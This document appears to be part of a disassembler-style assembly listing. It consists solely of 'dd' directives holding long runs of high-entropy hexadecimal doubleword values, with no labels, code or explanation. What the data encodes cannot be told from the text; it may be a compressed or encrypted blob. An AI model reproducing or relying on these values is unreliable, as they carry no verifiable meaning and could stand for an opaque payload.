		dd 0A4B7DA00h, 757B027h, 0DB0A00C6h, 743E240Ch,	80EF775Eh
		dd 572C0260h, 1ACFA6h, 89E3809Ah, 92AA992Fh, 0B951FB00h
		dd 0D1C3BAA8h, 0D37A0D82h, 0C38DF75h, 9D74F618h, 2EC9E800h
		dd 72443E23h, 699101D7h, 1E903F65h, 7550CCF0h, 0BCA85E00h
		dd 8C0F09B7h, 89596399h, 1FD838B9h, 965D8D85h, 8F2F0070h
		dd 0D1C86DDAh, 0A88900E2h, 92758ADh, 0AC03E753h, 4A7178D7h
		dd 646CE8E0h, 1D7530A5h, 0E3B41FE0h, 14ACA140h,	0A8381257h
		dd 0CC215841h, 0CF62DD0h, 159B5DDFh, 4400AC21h,	4E82212Ch
		dd 38311h, 7850FEA7h, 0B217B838h, 8537E400h, 82EC66D5h
		dd 94E20072h, 67FD1976h, 60000544h, 465215A6h, 2E4B32h
		dd 53BB72B1h, 0E0E6164Fh, 99360E00h, 0F6DDFCE1h, 51A0E01h
		dd 0D26E5B74h, 0AF7DEBA0h, 8B0912EFh, 226D164Ah, 0A05C2604h
		dd 0CEDC8894h, 19DE18h,	0A64525E2h, 0BA0C1BD1h,	8690B12h
		dd 80D4AA7Ah, 0A5EF42F0h, 198129F3h, 1EE200E0h,	7C0B8B58h
		dd 532D8D00h, 9638DBA3h, 0F54F007Eh, 10369419h,	0C900DC92h
		dd 27B118Dh, 50E245EBh,	5A56A8EEh, 0A79C4E1Dh, 0D7838D84h
		dd 4AB180FCh, 860393ECh, 1E973B4Bh, 77083045h, 0EC7E9121h
		dd 6743F00h, 5C411F4Eh,	2DAC045Eh, 0C686DD3Dh, 0C000288Bh
		dd 300263D7h, 7ACDE3h, 5B3C3874h, 71E4538Ah, 63AF58h, 0D7FD937Fh
		dd 1DAA1041h, 9DBA5767h, 0B704F98Fh, 80F988B0h,	402E042Ch
		dd 5060FCFEh, 8FB4BE88h, 0C223016Fh, 527B29EAh,	9FF2D1EBh
		dd 90DC3821h, 0E7490680h, 38421D1h, 937EFD3Dh, 700AC8E3h
		dd 0C8C4DC86h, 40427FC2h, 0A6B7EB59h, 0D09C20C8h, 45196C0Eh
		dd 6806A1A4h, 1DF401B6h, 80FA2486h, 8EEF8158h, 30834A89h
		dd 4E8F70Fh, 41829B01h,	350780DBh, 0E8DC24h, 7A05DF1Dh
		dd 0E95C0E6Bh, 741390Dh, 0C3CC21DCh, 12180040h,	52B398D8h
		dd 0D4A07658h, 0CB0E015Eh, 43957D15h, 0E1A406EAh, 0E04C8612h
		dd 92EC3CD7h, 691173A3h, 0EC7F6C00h, 0E5A9B2BEh, 0D509BB03h
		dd 0E9035976h, 4C8AEFADh, 0C18CD1DCh, 0E8B94206h, 7986B403h
		dd 184B8080h, 0F7AC4500h, 66E88A6Eh, 0C07A009Fh, 1FF40CE4h
		dd 8D71DE7Ch, 0E7D1AC00h, 998ACF79h, 0F4B5489Eh, 0C181A500h
		dd 0B98F8432h, 0E83549h, 957A9323h, 3BF12ECh, 0B2F0482Bh
		dd 0D6F150E3h, 9DB82027h, 1C382C40h, 4A408779h,	58203447h
		dd 0E08C0C9Fh, 483B242Eh, 8FB96028h, 0AA46207Eh, 0E1168422h
		dd 0A5008FC3h, 6470755Ah, 6E60F195h, 0C8064CF0h, 5C363D80h
		dd 0CF733E74h, 0DD666E19h, 1024E508h, 5FE80FFEh, 65C08707h
		dd 9A3CFB26h, 0F43D9607h, 9C60AC7Eh, 1CA27B7h, 1963937Ch
		dd 328613F8h, 3075F21Ch, 2A0647F2h, 56FA8F82h, 0EFCC0081h
		dd 0D02C59A4h, 500E5C08h, 81B00F10h, 25D5AE31h,	0A587DEF8h
		dd 98806738h, 9B108960h, 3760ABDh, 0BD9C82B5h, 29818698h
		dd 0A91F8701h, 0AA4598C2h, 0FF843F11h, 0B7F18D0h, 50F34CD0h
		dd 0A8372315h, 901BE300h, 4DC05447h, 192C6131h,	23E350F8h
		dd 1400EBA8h, 0F3D1B745h, 162086BDh, 964100D0h,	0AE880642h
		dd 0A6044C48h, 0D0B7E50h, 0D22308D1h, 94136180h, 2DA61FAFh
		dd 0E5C0EA01h, 0E4AB3783h, 24FF1DCh, 0D3CAB263h, 0D4997E4Eh
		dd 0FE02223h, 2F47490Fh, 0ED8580B3h, 0F57E74h, 0F7638E3Bh
		dd 99680F35h, 0D555F23Fh, 0CD6B3094h, 178C2700h, 0E5BCED18h
		dd 94C15295h, 0DA848576h, 0FC8876E6h, 790499A7h, 8F1885h
		dd 4799B9B3h, 3FD5372h,	0B41D2E26h, 208FCBC0h, 8CBA4823h
		dd 8FC5D7E0h, 0F915C698h, 80BEF0h, 0D5CD2F4Fh, 24280549h
		dd 4E7A61h, 0EBA1C615h,	0B1047E1Eh, 25638583h, 413714C2h
		dd 0B71831C8h, 23248F04h, 9132EB5Ah, 905E3B21h,	0F48A7DCh
		dd 0C2835D9Eh, 86D218A0h, 0D0FF519Bh, 15004054h, 0A01A692Ah
		dd 24817814h, 8918A81Dh, 1C203719h, 0DAC8520Dh,	3B07ACE2h
		dd 1E69D5ADh, 7C70C551h, 0DB8B84Ch, 4FC9CB2Eh, 0C7E83039h
		dd 4270028Ch, 0B4D3D1CBh, 6D9ECC45h, 0EED54580h, 0A027B23Fh
		dd 6F6A0Ch, 0D9ED0963h,	9A82B119h, 0FFFD8700h, 337EEBFCh
		dd 0A4CCE408h, 27246D0h, 23198FA6h, 8794B152h, 9040DE10h
		dd 57007571h, 77F2EC91h, 50891D49h, 14856487h, 0C4B5CA8Bh
		dd 439B7F0Bh, 4A60C820h, 0BD00442Eh, 0AD03143Dh, 1874A13Ch
		dd 3A819F43h, 36074EBEh, 4697E8C9h, 0E37EF370h,	40D56098h
		dd 99897BBFh, 0CD37E500h, 965ECEDBh, 64D4063Ch,	81381661h
		dd 0D2929C1Fh, 0AAE5E281h, 0A2D9EF5Bh, 6C7824h,	0C3D9A3FFh
		dd 0AF8CB883h, 0EA529508h, 831C112Ch, 0C890EC69h, 0B1968CC3h
		dd 20DE467Ch, 0F84EC903h, 0B41BD3A8h, 4D7DCC8h,	65B82E79h
		dd 8EECC0BCh, 39D39C7Ch, 0E074EA8h, 70AA70A7h, 7DB3FD51h
		dd 598640B3h, 30D8405Eh, 0B959CCC6h, 8138E63h, 3400E3AFh
		dd 12F20965h, 960D164Dh, 7B8428A9h, 0C9358F14h,	3834E220h
		dd 0D499DF5Ch, 0F918B371h, 50CEBB01h, 0A9571E90h, 2DD7B450h
		dd 0CA4303BAh, 7AFDAE17h, 0FACCC5E0h, 4E689001h, 0AAF5EE24h
		dd 7068187Ch, 9D45F04h,	0B55B0E62h, 3A1448Fh, 301373A9h
		dd 0D03E6724h, 8B5A002Ch, 9D8976ACh, 0A239C050h, 8518DA4Fh
		dd 7D008492h, 683A7340h, 0B987868Dh, 10721850h,	273A5861h
		dd 19DB4089h, 83C03F1h,	0A990F06Ch, 7F807E09h, 2660A509h
		dd 3E622488h, 4A0E7010h, 0E202B24Bh, 0C8682AC7h, 750040FEh
		dd 5B18318Dh, 0C02E0556h, 0C9D6B7D9h, 0B8720715h, 79C32A7Ch
		dd 1DF6C1Bh, 8EC9A6F9h,	0F0DA81BEh, 16067D5Bh, 0F2B9AB8Ch
		dd 34235299h, 40EC5716h, 83F78600h, 2A00CAA8h, 16A4C9E9h
		dd 3AA9B25h, 4BE3432Eh,	0F0CE7C84h, 0E90CC00h, 0F42767E6h
		dd 7F441387h, 0C8108B2Fh, 0C3C0C78Dh, 7BE822D2h, 65059373h
		dd 943E03CEh, 2380E85Eh, 19E111C3h, 4EE9C070h, 0E98BD39h
		dd 0F980D500h, 0ACA2A963h, 0B32000EAh, 0B07B9C0Bh, 0E328BD99h
		dd 4A15F459h, 0C40122h,	5C67A0F1h, 7D07C8h, 7954937Ch
		dd 5E581398h, 8C888054h, 44D74503h, 0CB2B4BE4h,	289AB8D0h
		dd 38FB0B57h, 0CC870BCCh, 58F00A4Fh, 0ED00EEACh, 8E9CC606h
		dd 953A0DAh, 0B61A931Fh, 16629C67h, 60011BD0h, 1C3E735Fh
		dd 684083AAh, 7075F6B6h, 3A230014h, 5C50424Ah, 0D700EE77h
		dd 0C0ED1794h, 0B085B7A9h, 4FFA9020h, 7D9C42F4h, 1A2A1D5Fh
		dd 0DB277807h, 0D66752F0h, 0C07772h, 7AB8A40Ah,	9356188Bh
		dd 8086BE3Bh, 7D33E44Bh, 16ABC42Ah, 81BFAC65h, 0EC296224h
		dd 9C6026A4h, 0CE5313C1h, 77587814h, 0CC804827h, 65C440h
		dd 626DBF6Ah, 34AED150h, 7F21F0B8h, 8FC58057h, 0EACA2322h
		dd 832EFE86h, 0B8901E00h, 55075883h, 2952F446h,	58240440h
		dd 865087h, 67F195C6h, 59CAEAF0h, 68228024h, 63830940h
		dd 0A442F19Ah, 0EA9C9082h, 4FAD011Bh, 8E0DCD87h, 1E27E0B3h
		dd 0E25407FAh, 4600B6B4h, 35C0DF89h, 92368218h,	5B5637D8h
		dd 6F0887C9h, 59101706h, 149683F0h, 41962380h, 0D17F6Fh
		dd 0A442A0A9h, 2AC958F5h, 2CC03D51h, 7E800C20h,	1FF14107h
		dd 86E81E8Ch, 0D8D87F25h, 8E1204B0h, 0B021AC04h, 0F0729289h
		dd 86136048h, 8674279Bh, 0DD4C81ACh, 83185868h,	49D623Dh
		dd 0E3E1FE19h, 6E00D1CCh, 8730C86h, 0CDF62EECh,	31C4070h
		dd 34A304ECh, 60F89374h, 927919Bh, 0D00C183Dh, 0CF038880h
		dd 5979F860h, 90E769E3h, 645807A8h, 8CB809ACh, 0DA0EF1B1h
		dd 0AFDFEE9Dh, 3D71C0B0h, 60575284h, 140B41A3h,	0FA0054D7h
		dd 4F46CFF0h, 0ED1A19Ch, 2061CE4Eh, 36FC7360h, 62F6F18Bh
		dd 0FCA17FEAh, 0B8083C03h, 2E4353h, 9A16EF90h, 99276D1Eh
		dd 0E8970014h, 5D2FF073h, 1D894802h, 0A006FCB9h, 706CA1E0h
		dd 37DE0B0Fh, 0EBB6h, 1775D4E9h, 410C3F7Fh, 0D1FA6404h
		dd 0E6960067h, 7F9C8A98h, 7854808Dh, 0B0037CB4h, 0D34C3D24h
		dd 5B09D0F4h, 0F12D248Dh, 0CE4A0E70h, 60962586h, 759D6604h
		dd 8FC035F9h, 61298120h, 0F408911Ah, 215C2228h,	0BD980016h
		dd 0AC8DAA83h, 1440504Ah, 8CEA20A7h, 0E2DA0006h, 0D0937E61h
		dd 2090ECC5h, 5BA0A822h, 55CC4083h, 14F5B753h, 85404D09h
		dd 0D98090D0h, 0A4924Bh, 7FE7AC9Ch, 133D1C82h, 3EA0C3Fh
		dd 7DC1F104h, 0FD6E985Dh, 8A620AD0h, 76D8B42Fh,	86508A21h
		dd 991381A1h, 96FCB500h, 20526DC4h, 67B21DFEh, 57870298h
		dd 5A807Dh, 97DC2D1Ch, 7C2016D3h, 1449DFE1h, 0B481B72Eh
		dd 0A0B3F115h, 78632Ch,	0A9FCDB5Fh, 7A09AF8Ch, 322A174h
		dd 0DAFAF4h, 0A65A8D29h, 0BE4CEB4Ah, 6A6EB41Dh,	9D5389C9h
		dd 80F21170h, 0E8457AFCh, 0CBDB05Fh, 1C8376A5h,	0B3A016E9h
		dd 1A016266h, 3DFED3EFh, 7C304415h, 51FCA434h, 20427824h
		dd 1FD8C064h, 87810F2Bh, 0D2C97F52h, 58C8B409h,	63DC68Bh
		dd 28D3809Bh, 0C09E8E13h, 9DB0C33h, 2359E6F0h, 0C4247B00h
		dd 0C513A5F6h, 30524869h, 3B8CAC81h, 89D800F5h,	8974D94h
		dd 80D5401Dh, 28E603A7h, 301F1547h, 5DC4B7A1h, 54E0A462h
		dd 0D32C20F4h, 0FAE87E09h, 5C70A759h, 9B28D0E3h, 74390150h
		dd 87DDDA7Ah, 545CE03Ah, 49C13673h, 3CC9CC59h, 0F2D66020h
		dd 7EA2295Eh, 0B89A0118h, 0C0C69238h, 80959DF8h, 4044EA18h
		dd 0D6950066h, 52966898h, 7F001BBEh, 0E43AE162h, 2642BF1Ch
		dd 308B17h, 0F2035B24h,	7D062C3Dh, 0FC2BC81Eh, 0B81C13A6h
		dd 68780CABh, 9844F3B8h, 0E59D3BE7h, 449CCA28h,	8A17349Fh
		dd 0B88494F2h, 65A19800h, 48782CD6h, 0D92DC0A6h, 3FD4A020h
		dd 0CE023588h, 5B3D01E6h, 83E0A5A8h, 0DFD4E4h, 0F8A5F79Ah
		dd 52B7830h, 0B8876600h, 0FDB697D9h, 53172FB0h,	0A0C5ECA0h
		dd 0A613D476h, 0EF594h,	0F3DE9B7h, 0DB86E531h, 7C30E803h
		dd 87C9070Fh, 0C6D4F79Ch, 0D16109Fh, 5882DF72h,	0EC743027h
		dd 15F63905h, 3CF7968Ch, 0E9315300h, 43807B50h,	84B5063Ah
		dd 0C109D4E8h, 90A19CC6h, 0FD8D0268h, 0D27DE350h, 9496CCE4h
		dd 0B62F0FD4h, 962EAD33h, 78ED37E0h, 3185914h, 8358E480h
		dd 0B19FF67Bh, 0CB530220h, 50604FA9h, 1300EE24h, 22FB70F2h
		dd 0FA497233h, 35280059h, 75E36551h, 3A004AC9h,	78F0B1A0h
		dd 30588D3h, 5948CBF3h,	659862C1h, 6C009499h, 0FEF48CE5h
		dd 4C54AFh, 0EDB40296h,	27431DCAh, 0E256C000h, 0D630416Ch
		dd 0DC5B00D7h, 0D1CE3439h, 0D800D0EAh, 11BDAEC6h, 0E2C356h
		dd 627BBA36h, 0A9926A55h, 0C60CFC0Fh, 38176074h, 8FB429h
		dd 46FA2BECh, 39636133h, 0ACAE8507h, 5D3087BAh,	4829D82Eh
		dd 6100CD76h, 7F8B40BDh, 0B03FAD9Eh, 0B3B0052h,	89568DA7h
		dd 0C58C006Ch, 10AED941h, 60632633h, 0D8F2A339h, 3E80C6DFh
		dd 0F477EFh, 0D188FCF7h, 9E42ED74h, 96B5FE06h, 0F88358Bh
		dd 14846DDCh, 49797620h, 52EA48BFh, 0FE2EDF00h,	0B34B86D4h
		dd 412005Dh, 0ED84B9E5h, 71DE62E1h, 26BBA0C1h, 0AFC46466h
		dd 547C3A01h, 3A82813h,	9FD2E9FBh, 59BAE4F0h, 208E510Eh
		dd 52EA60B4h, 307794B3h, 1148C19Eh, 1C01D5A4h, 3117290Fh
		dd 0EDF0DB5Dh, 0A5091D47h, 0C9418088h, 93261263h, 7DB24B00h
		dd 3272EB60h, 0EE0DF6DDh, 1D07F6Dh, 973A9FC1h, 0C31D6352h
		dd 78426AC8h, 47F629C2h, 0D16A603Eh, 6B130DCh, 4BC92019h
		dd 937D5103h, 0A077CBCCh, 310F419h, 0AB9FA5FFh,	2B905802h
		dd 0A77B122Ch, 1370AF00h, 7E423203h, 0AC48C005h, 82689E73h
		dd 8041D93Dh, 0B35503F4h
		dd 7101E006h, 42BE01EFh, 0E5DA7D53h, 0B9CFF5E3h, 87510B38h
		dd 0A3240306h, 9672E023h, 0C08E00BAh, 48EEFB10h, 743FED4Dh
		dd 0C482861Dh, 3B892FCh, 6A4B6B03h, 8EA8242Ah, 0A3009F48h
		dd 0ACAFBFE5h, 0E91592h, 0FE4BDC2Fh, 0D1F5DB2Eh, 85FBAA00h
		dd 0F85FC88Fh, 0D6730035h, 87867503h, 2E605161h, 0F9716B10h
		dd 0C3A0CBCEh, 0F0DA9C86h, 8756CC0Ch, 2D5827h, 0BEFECEBh
		dd 6EB3F376h, 28AC3D01h, 2209136Bh, 0F43496C0h,	738A00CEh
		dd 5B5AD43Fh, 0D00BF19h, 67DB2B0Bh, 0EE06ABD3h,	19FF055h
		dd 41EDAC93h, 0D2EFFF7Ch, 22229C0h, 0B7E6AF03h,	0E08197DAh
		dd 0B9CEACEh, 275AC92Dh, 86C55580h, 8039E2EDh, 0AA47006Dh
		dd 8EB04249h, 0FC3D0776h, 0C083F860h, 325D58Bh,	2253280Ch
		dd 0B8BB1010h, 0B0F049h, 828EACE2h, 6237D447h, 0F60033Dh
		dd 0D87F1124h, 5B27718h, 86960BECh, 0B10430EFh,	0A00051E4h
		dd 1116EC99h, 0D774F719h, 358F8D9h, 4C255A9Dh, 3C2FF046h
		dd 8BE03908h, 388C6A28h, 3067AB89h, 0A009C0F9h,	0FEF49EE8h
		dd 0AF680102h, 40270B30h, 148164E9h, 28E39652h,	0F951E10Ch
		dd 1E1D3D19h, 98304F13h, 512D2829h, 8EE09CAFh, 0B8F21453h
		dd 958060C5h, 998C6D26h, 9D16F0F5h, 581FB230h, 1414858Bh
		dd 9052FA3Ch, 0B72B1000h, 8F1192B9h, 0D027F40Ch, 14AF790Dh
		dd 7C1793F5h, 46299585h, 7994AB08h, 89047603h, 0E04CEAEEh
		dd 12AAE00Dh, 35B8C5Ah,	52A50510h, 9AD54014h, 49C8149Ch
		dd 535B1048h, 0EEE099F0h, 0A1B549C0h, 0C24595EAh, 6B80A538h
		dd 0F1B81A61h, 0E943E6E8h, 9FB840B5h, 0FD4EB466h, 1AAA18A0h
		dd 1918170Fh, 492CC322h, 0F5590CFFh, 0D439829Ah, 3D4DE001h
		dd 70E82690h, 969828D7h, 222018B8h, 5CCE1031h, 0EC149300h
		dd 195049A7h, 8D84A88Fh, 0ABA10C61h, 0CA10C45Dh, 452EA008h
		dd 14800CFh, 0BFF3DAA3h, 0B78FD8A0h, 9A4F7F00h,	4E1494EEh
		dd 0D0AD1BC6h, 9DC86924h, 30924DC1h, 5FB3F900h,	4A6FBC18h
		dd 2A0AB02h, 94419F58h,	4833DAh, 0A307D1AEh, 976051BAh
		dd 1633683h, 82201091h,	2004C98Ah, 482AE2C8h, 751D84EAh
		dd 1D009716h, 0AF1947DEh, 1C9FA88h, 9EA6A705h, 95017DD3h
		dd 0F2406E60h, 68D00699h, 971E4086h, 603C98Bh, 1955922h
		dd 532FCB18h, 494832Bh,	18FB3480h, 20C1652Eh, 5545350h
		dd 45FBB85h, 2971EBCh, 41C63D2Ch, 54342744h, 19490076h
		dd 0B35EAF30h, 80920EE2h, 0D3D48F02h, 253DB78h,	0C824904h
		dd 0D10437Bh, 0E73C844Dh, 1850C844h, 6F49D55Ah,	0F03C60FBh
		dd 74FED00Eh, 9D581900h, 0F8C49F7Fh, 17DF0493h,	0C0605455h
		dd 41124460h, 6EDA5D09h, 181082BEh, 0FB74616Dh,	905047E5h
		dd 1E1A808h, 195AD54Fh,	2138CEABh, 0EC49C24Ch, 248DC51Eh
		dd 9955FBF4h, 778BF0C8h, 108C154Ch, 0F61CA9F8h,	61A83AFEh
		dd 360B0098h, 8DF331AAh, 2D0E7895h, 8D882F15h, 3FC821F2h
		dd 3ED47F31h, 29013520h, 0AB43253h, 1A760082h, 36A201A9h
		dd 78F52B08h, 0F6A431FFh, 4919C468h, 0AADCC100h, 95419E28h
		dd 9D693DAEh, 0FA2F2680h, 0ED5BBAD9h, 621D082Ch, 1F143300h
		dd 0E2B626Dh, 7DE356Bh,	0B04BA180h, 0F50FAE31h,	0CEDD0h
		dd 8252537Eh, 574100E9h, 8459C5Fh, 1B3C67C0h, 0DC3E0074h
		dd 0E088E571h, 0B86839CAh, 8E3800FAh, 9C677FE9h, 0C5002CA0h
		dd 0D6374660h, 7C6BD37Ch, 0F533B97h, 14C007Fh, 2855C638h
		dd 0B70FC426h, 0A0BD0D9Eh, 0D4F6623Ah, 48561D8Bh, 0CF13BE27h
		dd 95800A3h, 375A11D8h,	80E910ECh, 24689828h, 0F226B61h
		dd 5642C8FBh, 210F1AFDh, 0E824D660h, 592F4907h,	0BC0F8EDh
		dd 3FB62E17h, 7703339Ah, 56045BDCh, 12006074h, 0DF79F06h
		dd 1C46410h, 0C095BE5Ah, 0B032EC97h, 7CF8586Ch,	30687C3Dh
		dd 0FA10F4C1h, 0B100EF49h, 7E289319h, 0B0DE1CE0h, 0D931C07Bh
		dd 5605EF0Eh, 58D8F548h, 40D77B1h, 0E8C7E8FEh, 4013A2FCh
		dd 5D187C80h, 0C2182BDEh, 86B6305Fh, 75965A49h,	0D2243900h
		dd 770B14B8h, 9E7418h, 5AF95FC4h, 6A516B7Bh, 0C3DB1D14h
		dd 87ED3E84h, 1A838B95h, 0EBAB6380h, 0D8E091h, 48AE5E60h
		dd 478DF11Ch, 3D00F471h, 322421B2h, 0E7DA0D0h, 15E4ECBDh
		dd 0E86A85Dh, 0E8FF43DCh, 90021CEh, 84C005CAh, 51016C00h
		dd 0E9A2DEA5h, 3E8D051Bh, 0C0364108h, 0CD1FB485h, 0A6551E04h
		dd 0C0AB457Eh, 4E0B984h, 0A1145A00h, 5158F96Ah,	47760007h
		dd 0CEDB3FDFh, 6200E47Fh, 55DCCB90h, 0E631E3Bh,	73FE412Eh
		dd 32081883h, 802F94E1h, 42D3698Ch, 0FE836C12h,	0D1A100CBh
		dd 0F967FAF4h, 0FE00EB97h, 3804E5DBh, 52F83Ch, 5CF1DF07h
		dd 5EF636B9h, 0F9563C98h, 4741B104h, 4BE4894h, 0D2015FE2h
		dd 0F5F0BF2Ch, 4498EC16h, 250333ABh, 5F8EEA47h,	83B6A221h
		dd 0A1B8BD1Ch, 88FE052h, 209546E5h, 0F4004C3Eh,	2B174D24h
		dd 0D1190FB1h, 0D4D029C8h, 455009B4h, 6B8B218h,	9B77E4Ch
		dd 585F8F28h, 1C373928h, 10890E6Ch, 0F0FE6DA1h,	0A2780DA1h
		dd 0EDFA6031h, 0D082051h, 4A708204h, 866A4722h,	68C90B44h
		dd 0C0280952h, 297AC7B6h, 7108BE62h, 5C0C858Fh,	7058141Dh
		dd 0C53E36D1h, 26F26280h, 508E1124h, 0B5BC6A00h, 43F2ACAAh
		dd 0E71E0545h, 20E381B9h, 0C5CD9BECh, 0B36EFC03h, 4223E278h
		dd 2FE4FC08h, 28DDAC04h, 29F8DA56h, 3DC48BF0h, 511E2580h
		dd 18BC981Ah, 0E1A9F707h, 40C87B71h, 0FCAD02DDh, 65BC270Fh
		dd 7800728Bh, 0F36C0933h, 62FAF69Bh, 0DFAC6828h, 0AEAD1848h
		dd 48779630h, 5AE857h, 375E10FCh, 0E661F4CEh, 3F0D620h
		dd 997E06BEh, 1100CABFh, 0A0D1805Ch, 2817F5E9h,	341019h
		dd 397A33D9h, 799137C8h, 3A398F48h, 8EB606ECh, 708B941h
		dd 48A8B890h, 926CC0A7h, 360AAA38h, 80D225ABh, 213B4702h
		dd 0A11BC3BAh, 882C531h, 0E7AC4424h, 0CB4898ACh, 0CC08B867h
		dd 0C869F440h, 2F4C0134h, 87EBD8F2h, 840BD860h,	6ABA9F00h
		dd 0D03FC95Bh, 82A20FF6h, 2B2035A8h, 847F2C21h,	0F078C4A9h
		dd 0D050C126h, 630D88Ch, 0E729E96Ah, 28FF02CFh,	0FCB55D91h
		dd 0B86CD0A0h, 0F00C5AC7h, 180823AAh, 163803CAh, 2FB55C87h
		dd 5DFAB17Fh, 0C0D6802Ah, 88F6B628h, 0B0A9E70Ch, 0A0C7383Dh
		dd 1B2FF9C9h, 30A2A1FEh, 0E1B99931h, 0B8D3F53Eh, 92F3DAB2h
		dd 267000D0h, 0C8DFE211h, 0FA03BFACh, 0A464CC45h, 0EE2100CAh
		dd 22AB37F6h, 0BE616D2Fh, 4431EAA0h, 5A20B440h,	0A51430ACh
		dd 0B28E7050h, 0F34A0600h, 0F6E6589Eh, 61151291h, 0AB384A57h
		dd 3C10ECA8h, 5F8BAE09h, 60580135h, 38243738h, 0E794A8EEh
		dd 148F398Ch, 41B830A9h, 8CA2CA9h, 618B88A1h, 910B7774h
		dd 0B70C60h, 2D1D21E6h,	9D7C15h, 0E8541E68h, 73785F26h
		dd 8F25A812h, 48222042h, 91A4808Dh, 12B5D9Bh, 663F354h
		dd 0E911809Ch, 216170A4h, 9BC1650h, 0E1C8E460h,	0D125B7h
		dd 8F696E15h, 60FDDC4h,	0AAE3851Fh, 8C616B58h, 879224DCh
		dd 141C82C0h, 0C4643561h, 30B2EE31h, 39107022h,	15FEFD72h
		dd 29C10CFEh, 0DB59C8DCh, 35D0C6E5h, 8CA539h, 25D6961Dh
		dd 9520BF62h, 43AC8AAAh, 82668F0Ch, 0C21CA230h,	23CC8727h
		dd 92303889h, 7DA9C095h, 7FA291FFh, 4CA18778h, 710ED12Eh
		dd 0D6012F4h, 0A2251840h, 0B80E29C0h, 0D9B003h,	67DB8DE3h
		dd 857A18A3h, 8602B619h
		dd 0F6100F40h, 6C01A29Bh, 418BDF5Ch, 909B469Ah,	20CC2925h
		dd 50D058F3h, 5DF3CB4h,	0A3A9DDFAh, 0D5841B8h, 0F0A427C5h
		dd 29545E25h, 2B0EDC48h, 805A761Dh, 2760C905h, 0D60700DBh
		dd 0B35C6FC8h, 767D22C5h, 0F338670Fh, 0A9E6625Ah, 418C40C3h
		dd 0D3E2037Eh, 2CE50B2Dh, 7901BEE3h, 917C3706h,	7180CD24h
		dd 5A56E8EBh, 0B0A6AA80h, 0D86C8F44h, 0BA758839h, 80EC7C4Ch
		dd 0ED062967h, 0F36D38CBh, 9120BC87h, 8FE9A390h, 0D26385F8h
		dd 220CA348h, 28B64813h, 0E4914D78h, 85643E7Dh,	8BCD0A78h
		dd 13A89B9Dh, 34040920h, 7188B906h, 6BFEC90Ah, 2507A07Dh
		dd 6D81C89Bh, 33F098B7h, 0B55A1A58h, 0C88741C5h, 6A3CF88h
		dd 1000BCEEh, 0BDEDB349h, 2ABFB87Eh, 0F1C8AAF6h, 3FEA5034h
		dd 0E3A2092h, 6507E880h, 454B62E7h, 0FD37C900h,	4EC51533h
		dd 5D2B00BDh, 34B7A74Dh, 6A184450h, 5EE112D1h, 0EF10000Eh
		dd 35D4EAF2h, 8CB1125h,	4FF4A0A2h, 0CF41A57h, 33B10939h
		dd 20EDA050h, 6E1AA614h, 6458BC05h, 7660C89Ch, 4B15EAC0h
		dd 5F4A21F4h, 0A8C695h,	9710F3B3h, 0EEA504A2h, 0A09955CCh
		dd 523F30h, 28D73E63h, 47D8B07Bh, 0AFE1D501h, 763842C2h
		dd 59C0A731h, 26739Ch, 239F4437h, 95BB2CABh, 9B225200h
		dd 4799A913h, 0EADA01BDh, 0B64FCA5Fh, 81A847F1h, 4081579Bh
		dd 40AD660h, 0C37CB501h, 4FAA2F02h, 98A6A1C3h, 35698840h
		dd 68400276h, 702E1607h, 9BE66600h, 8A51E33h, 0E8D9004Ah
		dd 714C53E7h, 726FD71Eh, 0A0C1D60Fh, 37942E8Bh,	6A38002Ah
		dd 0ABE73CFFh, 790434B8h, 656393EAh, 0F477FAC0h, 0F9E50362h
		dd 0DD122002h, 0C46D6BA8h, 733CA100h, 0B2268708h, 3DE51364h
		dd 4C9100CEh, 5E4D0E89h, 2817F100h, 0D9B29421h,	83B100CCh
		dd 18AF4FCh, 9B0799DEh,	220626E4h, 98022580h, 32E800F1h
		dd 12385908h, 0C0EBDFE9h, 411E3FA5h, 0EDC28496h, 0E05681B0h
		dd 533C54h, 5B5EF7Dh, 0D399D5DAh, 0CC2B4A00h, 0D06597EDh
		dd 0E4159009h, 3E08CCB0h, 5006C21h, 63A82894h, 0DBFDAEh
		dd 688A5390h, 6CCE6B7Bh, 0EF8F8100h, 383E5694h,	0B9C8F966h
		dd 2AD50075h, 45A63CB0h, 1173A906h, 0C3934000h,	82014254h
		dd 0A82D5C3Ah, 85D4A00h, 4FE42C1Ch, 0C74B9500h,	2D4D1AAEh
		dd 88046914h, 0E23CC80h, 0B703FE26h, 78EA979h, 4461A19Fh
		dd 0D50D2080h, 86671530h, 18A8BA01h, 0DE16D337h, 0A4E4080h
		dd 733E8799h, 418D5200h, 0ED09A10Dh, 8FF1002Dh,	7622208h
		dd 26765421h, 53A00B64h, 4E1B9781h, 458BA980h, 41B2D297h
		dd 0ADD12919h, 0D76009h, 90856B20h, 0D6912A28h,	0CC0B9D0h
		dd 5181ABDAh, 3227181Ah, 0B5B01082h, 0DA3E9A00h, 905A08BEh
		dd 0B7B30005h, 2AC72C76h, 2607E73Ah, 4B6541A5h,	8944007Fh
		dd 3BED3Ch, 0D6F3F4ABh,	9236FBC9h, 3F66B200h, 525C567Ah
		dd 863A00B3h, 5832CAEh,	0AF075A03h, 0EB4CF7F5h,	6640F210h
		dd 0D7A60086h, 7F6C07E6h, 56004115h, 0CFA3E9F0h, 0E70FE2h
		dd 0AA2E0CB7h, 0B84C9E1h, 7614690Fh, 3F9EA0D3h,	1EAC206Fh
		dd 75D7537h, 30070F11h,	0B512174h, 12901E00h, 0F9B1FD8Bh
		dd 0A770005Bh, 0F0C8B0F8h, 0EA00608Dh, 2BD16BBFh, 0AD1E10h
		dd 0CF91847Ch, 49835BBh, 8F4FF506h, 4209149Eh, 0BEA0EE11h
		dd 26052ED7h, 0EACE191Ah, 0A3EE9C80h, 0E15000BBh, 0F2C576E6h
		dd 0D200E939h, 0C01A1982h, 18785AB1h, 29924554h, 0EB887312h
		dd 0BA8C88D3h, 88994E88h, 0C440A23Eh, 0BD3720B8h, 5D081810h
		dd 5E0E3508h, 51BE2A0Ch, 244A4411h, 5F299961h, 0F601BC61h
		dd 0B4518CA5h, 0A01029FBh, 40AAB528h, 0F86222BDh, 22E96029h
		dd 4A239F5Ch, 0CE51285Ah, 400B3150h, 170D2829h,	65709F2h
		dd 9300A1BAh, 10C2E00Eh, 0C07B18A4h, 13197760h,	0EF07E380h
		dd 52B5F33Fh, 46088191h, 0D5CE0h, 8CA04D5Ah, 50D52CC5h
		dd 1BF29D00h, 7D594701h, 1FBB0093h, 0DC811163h,	0C90073B6h
		dd 4998C30h, 0BFFDD7h, 0B3A40DECh, 63BEDB95h, 0AC1F3B00h
		dd 0A3B6A7E5h, 0EB311F93h, 8705C1A8h, 0F07B5B97h, 0BA0036E8h
